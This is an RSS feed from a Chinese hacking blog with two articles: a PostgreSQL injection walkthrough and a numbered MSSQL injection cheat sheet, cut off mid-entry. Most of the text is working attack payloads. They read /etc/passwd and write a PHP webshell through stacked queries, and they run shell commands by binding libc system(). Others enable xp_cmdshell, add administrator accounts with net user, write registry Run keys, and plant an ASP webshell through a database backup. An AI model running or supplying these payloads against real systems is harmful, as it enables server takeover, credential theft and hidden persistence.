<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[EnjoyHack]]></title>
<link>http://www.enjoyhack.com/</link>
<description><![CDATA[入侵不是目的；而是享受过程]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[haifanlovely@163.com(Enjoyhack)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>EnjoyHack</title>
	<url>http://www.enjoyhack.com/images/logos.gif</url>
	<link>http://www.enjoyhack.com/</link>
	<description>EnjoyHack</description>
</image>

			<item>
			<link>http://www.enjoyhack.com/article/Abstracts/postgresql.htm</link>
			<title><![CDATA[postgresql注入手记]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[网络文摘]]></category>
			<pubDate>Fri,04 Mar 2011 01:19:04 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=71</guid>
		<description><![CDATA[PostgreSQL是一个强大开源的关系数据库系统.它经过了15年多的开发历程,一个经得起考验的体系结构,在可靠性、数据完整性和正确性方面赢得了极好的声誉.它运行在所有主要的操作系统上,包括Linux、UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64)和Windows. 它是完全符合ACID原则，完全支持外键、联合、视图、触发器和存储过程(多种语言)。<br/><br/>它包含了SQL92和SQL99的大部分数据类型，包括INTEGER,NUMERIC,BOOLEAN,CHAR,VARCHAR,DATE,INTERVAL和TIMESTAMP.它也支持存储二进制巨型对象,包括图片、声音和视频.它有本地编程接口，C/C++、Java、.Net、Perl、Python、Ruby、Tcl、ODBC，其中还有特别的文档.PostgreSQL以执行标准为傲。<br/><br/>它强有力地实现了ANSI-SQL 92/99标准.它充分支持子查询(包括FROM子句的子选择) 、提交读(read-committed)、序列化事务隔离级别.虽然PostgreSQL有一个完全关系系统编目(catalog)它自己支持每数据库多重纲要(schema),它的编目也可以通过SQL标准定义的纲要信息(Information Schema)来存取.数据完整性功能包括(复合)主键、限制和级联更新/删除的外键、CHECK约束、UNIQUE约束和非空约束.它也有许多扩展和高级功能.其中有为了方便按顺序自动增加列值,LIMIT/OFFSET允许返回部分结果集.PostgreSQL支持符合、惟一、局部和函数索引,可以使用B-tree,R-tree,hash,或者GiST存储方法中的任一个。<br/><br/>安装<br/><br/>1.windows下:在官网(<a href="http://www.postgresql.org" target="_blank" rel="external">http://www.postgresql.org</a>)下载windows下安装包,目前最新版本是8.3的,这里需要注意下,安装PostgreSQL时会在系统用户中添加一个postgres用户,而且在windows下的Postgresql密码自带有类似于安全策略的东西,设置密码是需要复杂度和长度的限制.安装好后,需要配置系统环境变量,把../PostgreSQL/bin添加到系统环境变量,这样的话,可以直接在cmd中执行psql(类似于mysql在windows下的mysql.exe)。<br/><br/>2.*nix下安装:可以到官网下载相应的安装包或者在线安装,安装过程不会出现设置密码这个步骤,默认密码是空,使用psql的时候需要切换postgres用户登录就可以了。<br/><br/>基本语法<br/><br/>既然是数据库当然遵循SQL语言,cr&#101;ate、ins&#101;rt、up&#100;ate等被称为PL/PgSQL,但不是很明确,一个数据库的语法太多了,只说下对小黑们有用的几个语法。<br/><br/>1.注释、结束标记、连接符<br/>a.PostgreSQL既然遵循SQL语言,当然支持--注释;<br/>b.PostgreSQL支持/*和/**/注释,这点类似于Mysql;<br/>c.PostgreSQL数据库使用psql的时候,需要在命令后加上;(分号)或者是\g来表示语句已经结束以执行查询.<br/>d.PostgreSQL是采用||符号来连接字符串的,注意使用^,小心|被转义。<br/><br/>2.自动匹配<br/>PostgreSQL不像Mysql能够自动匹配字段,这点类似于oracle,所以在注入的时候要注意下,而且默认情况下是支持union查询的;<br/><br/>3.连接PostgreSQL<br/><br/>默认情况下是不给外连的,如果想远程管理PostgreSQL数据库的话,需要修改../PostgreSQL/data/pg_bha.conf文件,请参考&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PostgreSQL学习手册.PostgreSQL默认用户是postgres(类似于mysql的root),默认端口是5432,默认系统库是postgres。<br/><br/>使用psql -h ip -d dataname -p port -U username,这里注意-U参数是大写,如果是本机采用默认安装的话,直接使用psql -U&nbsp;&nbsp;&nbsp;&nbsp; postgres后会提示输入密码,正确输入密码后会出现postgres=#的字符(类似于mysql中的mysql&gt;),就可以正常使用psql了。<br/><br/>\? 显示pgsql命令的说明<br/>\h 显示sql命令的说明<br/>\q 是退出<br/>\l 是现实系统中所有的数据库<br/><br/>4.pgAdmin III和phpPgAdmin<br/>a.pgAdmin III是PostgreSQL中自带的界面化数据库管理程序,可以查询PostgreSQL数据库中所有域、函数、序列、数据表结构及相关属性、触发器函数、视图等。<br/><br/>b.phpPgAdmin看名字就知道类似mysql的phpMyAdmin,是使用php开发的网页版数据库管理程序,功能非常强大,使用过phpMyAdmin的朋友&nbsp;&nbsp; 都知道phpMyAdmin的强大,phpPgAdmin针对PostgreSQL数据库一样强大。<br/><br/>注入PostgreSQL<br/><br/>既然PostgreSQL是RDBMS,所以系统中所有数据库的结构会保存系统库中,所以注入的时候就相对比较方便。由于注释方式和mysql是一样,如何判断是什么数据库?关于这点我也没有一个标准的答案,我想可以扫描5432端口(如何web和库没有分离的情况下),使用version()函数的返回结果来判断,直接使用查询语句如sel&#101;ct * from pg_class/sel&#101;ct * from pg_group的返回结果来判断数据库类型.由于PostgreSQL的目录页存在information_schema,我手上也没有PostgreSQL数据库的注射点,所以我也不知道能不能使用sel&#101;ct schema_name from information_schema_schemata来判断,不好意思,关于使用information_schema只是我的想法,有条件的朋友验证下。<br/><br/>介绍下PostgreSQL中内置函数、表和视图在入侵的应用。<br/>current_database()&nbsp;&nbsp;&nbsp;&nbsp;当前数据库名字&nbsp;&nbsp;&nbsp;&nbsp; <br/>session_user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;会话用户&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br/>current_user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目前执行环境中的用户名&nbsp;&nbsp; |这三个函数调用时候不需要加()<br/>user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;和session_user一样&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<br/>inet_client_port()&nbsp;&nbsp;&nbsp;&nbsp;远程端口<br/>cast(sourcetype AS targettype)&nbsp;&nbsp; 定义类型转换&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>current_setting()&nbsp;&nbsp;&nbsp;&nbsp; 以查询形式获取setting_name 设置的当前值<br/>convert()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 编码转换<br/>pg_stat_user_tables&nbsp;&nbsp; 存放系统所有表名的视图,关键字段是relname,使用sel&#101;ct relname from pg_stat_user_tables limit offset,1 来达到逐个读取表名的目的<br/>pg_stat_all_tables&nbsp;&nbsp;&nbsp;&nbsp;和pg_stat_all_tables视图功能一样<br/>pg_shadow&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看到shadow大家是否想到/etc/shadow,此表包含数据库用户的信息,关键字段username、passwd和usesuper(超级用户的意思),不过此表被做了权限设置<br/>pg_user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个表结构和pg_shadow一样,不过此表的全局可读,passwd字段可能被清空或者加密<br/>pg_group&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;定义组以及哪些用户属于哪个组的信息,关键字段groname<br/>information_schema.columns 这个目录对象中保存了所有的字段,关键字段是column_name,使用sel&#101;ct column_name from&nbsp;&nbsp; information_columns wh&#101;re table_name=tablename limit offset,1这样就可以达到读取每个表名的字段<br/><br/>读文件<br/><br/>首先需要建立一个表,然后copy文件内容到表中,在读取表内容,思路是这样的<br/>cr&#101;ate table read (line text);<br/>copy read from &#39;/etc/passwd&#39;;alt&#101;r table read add id serial--<br/>sel&#101;ct * from read;<br/>dro&#112; read;<br/>思路就是这样的,具体怎么使用就看大家自己发挥了(encode,^_^)<br/><br/>从PostgreSQL 8.2后加入了pg_file_read(text,text,bool)和pg_file_write(text,text,bool),看名字就应该知道是干什么用的吧,大家自己去挖掘吧!<br/>&lt;?php<br/><br/>if(empty($_GET[&#39;action&#39;]))<br/>{<br/><br/>?&gt;<br/>&lt;form action=&#34;?action=connect&#34; method=POST&gt;<br/>&lt;table&gt;<br/>&lt;tr&gt;&lt;td&gt;pghost:&lt;/td&gt;&lt;td&gt;&lt;input type=&#34;text&#34; name=&#34;pghost&#34; size=&#34;30&#34; value=&#34;127.0.0.1&#34;&gt;&lt;/td&gt;&lt;/tr&gt;<br/>&lt;tr&gt;&lt;td&gt;pgport:&lt;/td&gt;&lt;td&gt;&lt;input type=&#34;text&#34; name=&#34;pgport&#34; size=&#34;30&#34; value=&#34;5432&#34; &gt;&lt;/td&gt;&lt;/tr&gt;<br/>&lt;tr&gt;&lt;td&gt;dbname:&lt;/td&gt;&lt;td&gt;&lt;input type=&#34;text&#34; name=&#34;pgdbname&#34; size=&#34;30&#34; value=&#34;postgres&#34;&gt;&lt;/td&gt;&lt;/tr&gt;<br/>&lt;tr&gt;&lt;td&gt;username:&lt;/td&gt;&lt;td&gt;&lt;input type=&#34;text&#34; name=&#34;pgusername&#34; size=&#34;30&#34; value=&#34;postgres&#34;&gt;&lt;/td&gt;&lt;/tr&gt;<br/>&lt;tr&gt;&lt;td&gt;password:&lt;/td&gt;&lt;td&gt;&lt;input type=&#34;text&#34; name=&#34;pgpassword&#34; size=&#34;30&#34; value=&#34;&#34;&gt;&lt;/td&gt;&lt;/tr&gt;<br/>&lt;tr&gt;&lt;td&gt; &lt;/td&gt;&lt;td&gt;&lt;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;connect&#34;&gt;&nbsp;&nbsp; &lt;input type=&#34;reset&#34; name=&#34;reset&#34; value=&#34;reset&#34;&gt;&lt;/td&gt;&lt;/tr&gt;<br/>&lt;/form&gt;<br/>&lt;p&gt;<br/>&lt;?php<br/>exit;<br/>}<br/><br/>if(!empty($_GET[&#39;action&#39;]))//连接postgresql<br/>{<br/>if(!empty($_POST[&#39;pghost&#39;]))<br/>$_SESSION[&#39;pghost&#39;]=$_POST[&#39;pghost&#39;];<br/>if(!empty($_POST[&#39;pgport&#39;]))<br/>$_SESSION[&#39;pgport&#39;]=$_POST[&#39;pgport&#39;];<br/>if(!empty($_POST[&#39;pgdbname&#39;])) <br/>$_SESSION[&#39;pgdbname&#39;]=$_POST[&#39;pgdbname&#39;];<br/>if(!empty($_POST[&#39;pgusername&#39;]))<br/>$_SESSION[&#39;pgusername&#39;]=$_POST[&#39;pgusername&#39;];<br/>if(!empty($_POST[&#39;pgpassword&#39;]))<br/>$_SESSION[&#39;pgpassword&#39;]=$_POST[&#39;pgpassword&#39;];<br/>$dbconn_string = &#34;host={$_SESSION[&#39;pghost&#39;]} port={$_SESSION[&#39;pgport&#39;]} dbname={$_SESSION[&#39;pgdbname&#39;]} user={$_SESSION[&#39;pgusername&#39;]} password={$_SESSION[&#39;pgpassword&#39;]}&#34;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>$dbconn=pg_connect($dbconn_string);<br/><br/>if(!$dbconn)<br/>{<br/>die(&#39;failed linking to the server,please check &lt;a href=&#34;javascript:history.back()&#34;&gt;reset&lt;/a&gt;&#39; );<br/>}<br/>else<br/>echo &#39;^_^ connected successfully and the status is &#39;.pg_connection_status($dbconn).&#39;&lt;br&gt;&lt;br&gt;&#39;;&nbsp;&nbsp;&nbsp;&nbsp;<br/>}<br/><br/><br/>如何获得webshell <br/><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external">http://127.0.0.1/postgresql.php?id=1</a></a></a></a></a></a>;cr&#101;ate%20table%20fuck(shit%20text%20not%20null); <br/><br/><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external">http://127.0.0.1/postgresql.php?id=1</a></a></a></a></a></a>;ins&#101;rt into fuck values($$$$); <br/><br/><br/><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external">http://127.0.0.1/postgresql.php?id=1</a></a></a></a></a></a>;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;<br/><br/>如何读文件 <br/><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external">http://127.0.0.1/postgresql.php?id=1</a></a></a></a></a></a>;cr&#101;ate table myfile (input TEXT);&nbsp;&nbsp; <br/><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external">http://127.0.0.1/postgresql.php?id=1</a></a></a></a></a></a>;copy myfile from ‘/etc/passwd’;&nbsp;&nbsp; <br/><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external"><a href="http://127.0.0.1/postgresql.php?id=1" target="_blank" rel="external">http://127.0.0.1/postgresql.php?id=1</a></a></a></a></a></a>;sel&#101;ct * from myfile;<br/><br/>执行命令有两种方式，一种是需要自定义的lic函数支持，一种是用pl/python支持的。 <br/>当然，这些的postgresql的数据库版本必须大于8.X。<br/><br/>创建一个system的函数： <br/>Cr&#101;ate FUNCTION system(cstring) RETURNS int AS ’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT<br/><br/>创建一个输出表： <br/>Cr&#101;ate TABLE stdout(id serial, system_out text)<br/><br/>执行shell，输出到输出表内： <br/>Sel&#101;ct system(’uname -a &gt; /tmp/test’)<br/><br/>copy 输出的内容到表里面； <br/>COPY stdout(system_out) FROM ’/tmp/test’<br/><br/>从输出表内读取执行后的回显，判断是否执行成功<br/><br/>Sel&#101;ct system_out FROM stdout<br/><br/>下面是测试例子<br/><br/>/store.php?id=1; Cr&#101;ate TABLE stdout(id serial, system_out text) -- /store.php?id=1; Cr&#101;ate FUNCTION system(cstring) RETURNS int AS <br/>’/lib/libc.so.6’,’system’ LANGUAGE ’C’STRICT --/store.php?id=1; Sel&#101;ct system(’uname -a &gt; /tmp/test’) --/store.php?id=1; COPY stdout(system_out) FROM ’/tmp/test’ --/store.php?id=1 UNION ALL Sel&#101;ct NULL,(Sel&#101;ct stdout FROM system_out <br/>o&#114;DER BY id DESC),NULL LIMIT 1 OFFSET 1--]]></description>
		</item>
		
			<item>
			<link>http://www.enjoyhack.com/article/Synthesize/MSSQLINJECTION.htm</link>
			<title><![CDATA[MSSQL注入语句详解]]></title>
			<author>haifanlovely@163.com(enjoyhack)</author>
			<category><![CDATA[综合利用]]></category>
			<pubDate>Wed,10 Nov 2010 23:10:53 +0800</pubDate>
			<guid>http://www.enjoyhack.com/default.asp?id=70</guid>
		<description><![CDATA[1、返回的是连接的数据库名<br/>and db_name()&gt;0<br/>2、作用是获取连接用户名<br/>and user&gt;0<br/>3、将数据库备份到Web目录下面<br/>;backup database 数据库名 to disk=&#39;c:\inetpub\wwwroot\1.db&#39;;--<br/>4、显示SQL系统版本<br/>and 1=(sel&#101;ct @@VERSION) 或and 1=convert(int,@@version)--<br/>5、判断xp_cmdshell扩展存储过程是否存在<br/>and 1=(Sel&#101;ct count(*) FROM master.dbo.sysobjects Wh&#101;re xtype = &#39;X&#39; AND name =&#39;xp_cmdshell&#39;)<br/>6、恢复xp_cmdshell扩展存储的命令<br/>;exec master.dbo.sp_addextendedproc &#39;xp_cmdshell&#39;,&#39;e:\inetput\web\xplog70.dll&#39;;--<br/>7、向启动组中写入命令行和执行程序<br/>;EXEC master.dbo.xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\ <br/>Run&#39;,&#39;help1&#39;,&#39;REG_SZ&#39;,&#39;cmd.exe /c net user test ptlove /add&#39; <br/>8、查看当前的数据库名称<br/>and 0 &lt;&gt; db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())--<br/>9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令（同第76）<br/>10、则把得到的数据内容全部备份到WEB目录下<br/>;backup database 数据库名 to disk=&#39;c:\inetpub\wwwroot\save.db&#39;<br/>11、通过复制CMD创建UNICODE漏洞<br/>;exec master.dbo.xp_cmdshell &#34;copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe&#34;<br/>12、遍历系统的目录结构，分析结果并发现WEB虚拟目录<br/>先创建一个临时表：temp&nbsp;&nbsp; ;cr&#101;ate table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--<br/>(1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;ins&#101;rt temp exec master.dbo.xp_availablemedia;--<br/>通过查询temp的内容来获得驱动器列表及相关信息 <br/>(2)利用xp_subdirs获得子目录列表,并存入temp表中&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;ins&#101;rt into temp(id) exec master.dbo.xp_subdirs &#39;c:\&#39;;--<br/>(3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中 ;ins&#101;rt into temp(id,num1) exec master.dbo.xp_dirtree &#39;c:\&#39;;-- （实验成功）<br/>13、查看某个文件的内容，可以通过执行xp_cmdsell<br/>;ins&#101;rt into temp(id) exec master.dbo.xp_cmdshell &#39;type c:\web\index.asp&#39;;--<br/>14、将一个文本文件插入到一个临时表中<br/>;bulk ins&#101;rt temp(id) from &#39;c:\inetpub\wwwroot\index.asp&#39;<br/>15、每完成一项浏览后，应删除TEMP中的所有内容，删除方法是：<br/>;del&#101;te from temp;--<br/>16、浏览TEMP表的方法是：<br/>and (sel&#101;ct top 1 id from TestDB.dbo.temp)&gt;0&nbsp;&nbsp; 假设TestDB是当前连接的数据库名<br/>17、猜解所有数据库名称<br/>and (sel&#101;ct count(*) from master.dbo.sysdatabases wh&#101;re name&gt;1 and dbid=6) &lt;&gt;0 dbid=6,7,8分别得到其它库名<br/>18、猜解数据库中用户名表的名称<br/>and (sel&#101;ct count(*) from TestDB.dbo.表名)&gt;0&nbsp;&nbsp; 若表名存在，则abc.asp工作正常，否则异常。如此循环，直到猜到系统帐号表的名称。<br/>19、判断是否是sysadmin权限<br/>and 1=(Sel&#101;ct IS_SRVROLEMEMBER(&#39;sysadmin&#39;))<br/>20、判断是否是SA用户<br/>&#39;sa&#39;=(Sel&#101;ct System_user)<br/>21、查看数据库角色<br/>;use model--<br/>22、查看库名<br/>and 0&lt;&gt;(sel&#101;ct count(*) from master.dbo.sysdatabases wh&#101;re name&gt;1 and dbid=6)--<br/>23、获得第一个用户建立表的名称<br/>and (sel&#101;ct top 1 name from TestDB.dbo.sysobjects wh&#101;re xtype=&#39;U&#39; and status&gt;0 )&gt;0 假设要获得数据库是TestDB.dbo<br/>24、获得第二个用户建立的表的名称<br/>and (sel&#101;ct top 1 name from TestDB.dbo.sysobjects wh&#101;re xtype=&#39;U&#39; and status&gt;0 and name not in(&#39;xyz&#39;))&gt;0<br/>25、获得第三个用户建立的表的名称<br/>and (sel&#101;ct top 1 name from TestDB.dbo.sysobjects wh&#101;re xtype=&#39;U&#39; and status&gt;0 and name not in(&#39;xyz&#39;,&#39;&#39;))&gt;0 &#39;&#39;中为第二个用户名<br/>26、获得第四个用户建立的表的名称<br/>and (sel&#101;ct top 1 name from TestDB.dbo.sysobjects wh&#101;re xtype=&#39;U&#39; and status&gt;0 and name not in(&#39;xyz&#39;,&#39;&#39;,&#39;&#39;))&gt;0 &#39;&#39;,&#39;&#39;中为第二,三个用户名<br/>27、获得表中记录的条数<br/>and (sel&#101;ct count(*) from 表名）&lt;5 记录条数小于5 或 &lt;10 记录条数小于10 ……等等<br/>28、测试权限结构（mssql） <br/>and 1=(Sel&#101;ct IS_SRVROLEMEMBER(&#39;sysadmin&#39;));-- <br/>and 1=(Sel&#101;ct IS_SRVROLEMEMBER(&#39;serveradmin&#39;));-- <br/>and 1=(Sel&#101;ct IS_SRVROLEMEMBER(&#39;setupadmin&#39;));-- <br/>and 1=(Sel&#101;ct IS_SRVROLEMEMBER(&#39;securityadmin&#39;));-- <br/>and 1=(Sel&#101;ct IS_SRVROLEMEMBER(&#39;diskadmin&#39;));-- <br/>and 1=(Sel&#101;ct IS_SRVROLEMEMBER(&#39;bulkadmin&#39;));-- <br/>and 1=(Sel&#101;ct IS_MEMBER(&#39;db_owner&#39;));-- <br/>29、 添加mssql和系统的帐户 <br/>;exec master.dbo.sp_addlogin username;-- <br/>;exec master.dbo.sp_password null,username,password;-- <br/>;exec master.dbo.sp_addsrvrolemember sysadmin username;-- <br/>;exec master.dbo.xp_cmdshell &#39;net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add&#39;;-- <br/>;exec master.dbo.xp_cmdshell &#39;net user username password /add&#39;;-- <br/>;exec master.dbo.xp_cmdshell &#39;net localgroup administrators username /add&#39;;-- <br/>30、 简洁的webshell <br/>use model <br/>cr&#101;ate table cmd(str image); <br/>ins&#101;rt into cmd(str) values (&#39;&lt;%=server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;request(&#34;c&#34;)).stdout.readall%&gt;&#39;); <br/>backup database model to disk=&#39;g:\wwwtest\l.asp&#39;;<br/>请求的时候，像这样子用： <br/><a href="http://ip/l.asp?c=dir" target="_blank" rel="external"><a href="http://ip/l.asp?c=dir" target="_blank" rel="external">http://ip/l.asp?c=dir</a></a><br/>31、猜解字段名称<br/>猜解法：and (sel&#101;ct count(字段名) from 表名)&gt;0 若“字段名”存在，则返回正常<br/>读取法：and (sel&#101;ct top 1 col_name(object_id(&#39;表名&#39;),1) from sysobjects)&gt;0 把col_name(object_id(&#39;表名&#39;),1)中的1依次换成2,3,4,5，6…就可得到所有的字段名称。<br/>32、 猜解用户名与密码<br/>ASCII码逐字解码法:基本的思路是先猜出字段的长度，然后依次猜出每一位的值<br/>and (sel&#101;ct top 1 len(username) from admin)=X(X=1,2，3,4，5，… n，假设：username为用户名字段的名称，admin为表的名称 若x为某一值i且abc.asp运行正常时，则i就是第一个用户名的长度。<br/>and (sel&#101;ct top 1 ascii(substring(username,m,1)) from admin)=n (m的值在上一步得到的用户名长度之间，当m=1，2,3，…时猜测分别猜测第1,2,3,…位的值；n的值是1~9、a~z、A~Z的ASCII值，也就是1~128之间的任意值；admin为系统用户帐号表的名称)，<br/>33、建立数据表<br/>;cr&#101;ate table 表名 (列名1 数据类型,列名2 数据类型);--<br/>34、向表格中插入数据<br/>;ins&#101;rt into 表名 (列名1,列名2，……） values (&#39;值1&#39;,&#39;值2&#39;……);--<br/>35、更新记录<br/>up&#100;ate 表名 set 列名1=&#39;值&#39;…… wh&#101;re ……<br/>36、删除记录<br/>del&#101;te from 表名 wh&#101;re ……<br/>37、删除数据库表格<br/>dro&#112; table 表名<br/>38、将文本文件导入表<br/>使用&#39;bulk ins&#101;rt&#39;语法可以将一个文本文件插入到一个临时表中。简单地创建这个表：<br/>cr&#101;ate table foo( line varchar(8000))<br/>然后执行bulk ins&#101;rt操作把文件中的数据插入到表中，如：<br/>bulk ins&#101;rt foo from &#39;c:\inetpub\wwwroot\process_login.asp&#39;<br/>39、备份当前数据库的命令：<br/>declare @a sysname;set @a=db_name();backup database @a to disk=&#39;你的IP你的共享目录bak.dat&#39; ,name=&#39;test&#39;;--<br/>40、使用sp_makewebtask处理过程的相关请求写入URL<br/>; EXEC master..sp_makewebtask &#34;<a target="_blank" href="http://www.enjoyhack.com/file://\\10.10.1.3\share\output.html" rel="external">\\10.10.1.3\share\output.html</a>&#34;, &#34;Sel&#101;ct * FROM INFORMATION_SCHEMA.TABLES&#34;<br/>41、将获得SQLSERVER进程的当前工作目录中的目录列表<br/>Exec master..xp_cmdshell &#39;dir&#39;<br/>42、将提供服务器上所有用户的列表<br/>Exec master..xp_cmdshell &#39;net user&#39;<br/>43、读注册表存储过程<br/>exec xp_regread HKEY_LOCAL_MACHINE,&#39;SYSTEM\CurrentControlSet\Services\lanmanserver\parameters&#39;, &#39;nullsessionshares&#39;<br/>44、xp_servicecontrol过程允许用户启动，停止，暂停和继续服务<br/>exec master..xp_servicecontrol &#39;start&#39;,&#39;schedule&#39;<br/>exec master..xp_servicecontrol &#39;start&#39;,&#39;server&#39;<br/>45、显示机器上有用的驱动器<br/>Xp_availablemedia <br/>46、允许获得一个目录树<br/>Xp_dirtree <br/>47、提供进程的进程ID，终止此进程<br/>Xp_terminate_process<br/>48、恢复xp_cmdshell<br/>Exec master.dbo.addextendedproc &#39;xp_cmdshell&#39;,&#39;xplog70.dll&#39;<br/>49、堵上cmdshell的SQL语句<br/>sp_dro&#112;extendedproc &#34;xp_cmdshell&#34;<br/>50、不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效<br/>declare @shell int exec sp_oacr&#101;ate &#39;wscript.shell&#39;,@shell output exec sp_oamethod @shell,&#39;run&#39;,null,&#39;c:\winnt\system32\cmd.exe /c net user gchn aaa /add&#39;-- <br/>51、在数据库内添加一个hax用户<br/>;exec sp_addlogin hax;--<br/>52、给hax设置密码<br/>;exec master.dbo.sp_password null,username,password;--<br/>53、将hax添加到sysadmin组<br/>;exec master.dbo.sp_addsrvrolemember sysadmin hax;--<br/>54、(1)遍历目录<br/>;cr&#101;ate table dirs(paths varchar(100), id int) <br/>;ins&#101;rt dirs exec master.dbo.xp_dirtree &#39;c:\&#39; <br/>;and (sel&#101;ct top 1 paths from dirs)&gt;0 <br/>;and (sel&#101;ct top 1 paths from dirs wh&#101;re paths not in(&#39;上步得到的paths&#39;))&gt;)<br/>55、(2)遍历目录<br/>;cr&#101;ate table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <br/>;ins&#101;rt temp exec master.dbo.xp_availablemedia;--　 获得当前所有驱动器 <br/>;ins&#101;rt into temp(id) exec master.dbo.xp_subdirs &#39;c:\&#39;;--　获得子目录列表 <br/>;ins&#101;rt into temp(id,num1) exec master.dbo.xp_dirtree &#39;c:\&#39;;--　获得所有子目录的目录树结构 <br/>;ins&#101;rt into temp(id) exec master.dbo.xp_cmdshell &#39;type c:\web\index.asp&#39;;--　 查看文件的内容<br/>56、mssql中的存储过程<br/>xp_regenumvalues 注册表根键, 子键 <br/>;exec xp_regenumvalues &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;　　以多个记录集方式返回所有键值 <br/>xp_regread 根键,子键,键值名 <br/>;exec xp_regread 